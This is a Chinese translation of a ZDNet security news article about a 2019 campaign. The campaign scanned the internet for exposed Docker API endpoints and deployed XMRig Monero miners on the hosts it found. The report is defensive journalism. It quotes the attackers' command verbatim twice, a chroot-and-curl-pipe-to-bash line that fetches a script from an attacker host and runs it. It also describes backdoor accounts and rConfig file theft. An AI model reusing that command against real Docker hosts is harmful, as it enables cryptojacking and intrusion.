Categories
程式開發

黑客組織劫持 Docker 系統挖掘加密貨幣


黑客組織劫持 Docker 系統挖掘加密貨幣 1

現在都快 2020 年了,但還有不少系統管理員,仍然將 Docker 管理端口暴露在互聯網上。

目前,有家黑客組織正在互聯網上進行大規模的掃描,試圖尋找那些在互聯網上暴露了 API 端點的 Docker 平台。

黑客組織這次掃描行動的目的,是讓他們能夠向 Docker 實例發送命令,並在公司的 Docker 實例上部署加密貨幣挖礦程序,最終利用他們的算力進行挖礦,從而為黑客組織自身帶來利益。

專業行動

這次大規模掃描行動於 11 月 24 日開始,由於掃描行動的規模極其龐大,因此一開始就立即引起了人們的注意。

Bad Packets LLC 的首席研究官兼聯合創始人 Troy Mursch 對 ZDNet 稱:“Bad Packets CTI API 的用戶應該清楚利用暴露的 Docker 實例進行攻擊並非什麼新鮮事,而且這種行為經常發生。”

他指出,“黑客組織這次行動的不同之處在於,他們這次掃描行動規模特別誇張。僅此一點,就值得我們進一步調查,分析他們利用殭屍網絡的意圖究竟是什麼。”

作為本次掃描行動的發現者,Mursch 說:“正如其他人指出的,這次行動的規模可不是那種腳本攻擊的小孩把戲。黑客組織在這次掃描行動中投入了大量精力,但我們還沒有搞清楚他們到底想幹什麼。”

推特用戶 Bad Packets Report(@bad_packets)在 11 月 25 日發推文稱:

這是一場掃描互聯網上暴露的 Docker API 端點的隨機性大規模掃描行動。
這些掃描行動利用 Alpine Linux 映像來創建一個容器,並通過以下方式執行有效負載:
"Command": chroot /mnt /bin/sh -c 'curl -sL4 https://t.co/q047bRPUyj | bash;'

黑客組織劫持 Docker 系統挖掘加密貨幣 2

目前我們所掌握的情況

到目前為止,我們所知道的是,這些攻擊背後的組織正在掃描超過 59000 個 IP 網絡(網絡塊),試圖尋找暴露的 Docker 實例。

一旦黑客組織識別出暴露的主機後,攻擊者就會使用 API 端點啟動 Alpine Linux OS 容器,並在其中執行以下命令:

chroot /mnt /bin/sh -c 'curl -sL4 http://ix.io/1XQa | bash;

上面的命令從攻擊者的服務器下載並運行一份 Bash 腳本。這個腳本的作用就是在目標設備上安裝一個經典 XMRRig 加密貨幣的挖礦程序。 Mursch 指出,在這次行動開始後的兩天,黑客組織已經挖出了 14.82 枚門羅幣(XMR),其價格略高於 740 美元。

黑客組織劫持 Docker 系統挖掘加密貨幣 3

此外,Mursch 還發現,這種惡意掃描行動還有某種自我防禦的機制。

Mursch 告訴我們:“這次黑客行動,雖然並非原創,但我們觀察到一個有趣的情況,就是黑客組織會從 http://ix.io/1XQh 下載腳本來卸載已知的監視代理程序並殺死大量相關進程。 ”

Mursch 通過檢查這個腳本,還發現黑客組織不僅正在試圖禁用安全產品,還關閉了與競爭對手的加密貨幣挖礦殭屍網絡(如 DDG)相關的 LSO 進程。

此外,Mursch 還發現,這個惡意腳本還有一個功能,就是它能夠通過掃描受感染的主機來查找 rConfig 配置文件,並對其進行加密和竊取,然後將文件發送回黑客組織的服務器(一般是殭屍網絡)。

此外,Sandfly Security 的創始人 Craig H. Rowland 也注意到,黑客組織還在被入侵的容器上創建後門賬戶,並留下 SSH 密鑰以便更方便他們日後進行訪問,這樣,他們就可以從遠程控制所有受感染的肉雞目標。

Mursch 建議,運行 Docker 實例的用戶和組織,應立即檢查自己是否在互聯網上公開了 API 端點,如果已經公開,就立即關閉端口,然後關停無法識別的運行中的容器。

作者介紹:

Catalin Cimpanu,ZDNet 的信息安全記者,負責報導網絡安全、數據洩露、黑客攻擊和其他相關話題。此前曾擔任 Bleeping Computer 和 Softpedia 的信息安全記者。

原文鏈接:

A hacking group is hijacking Docker systems with exposed API endpoints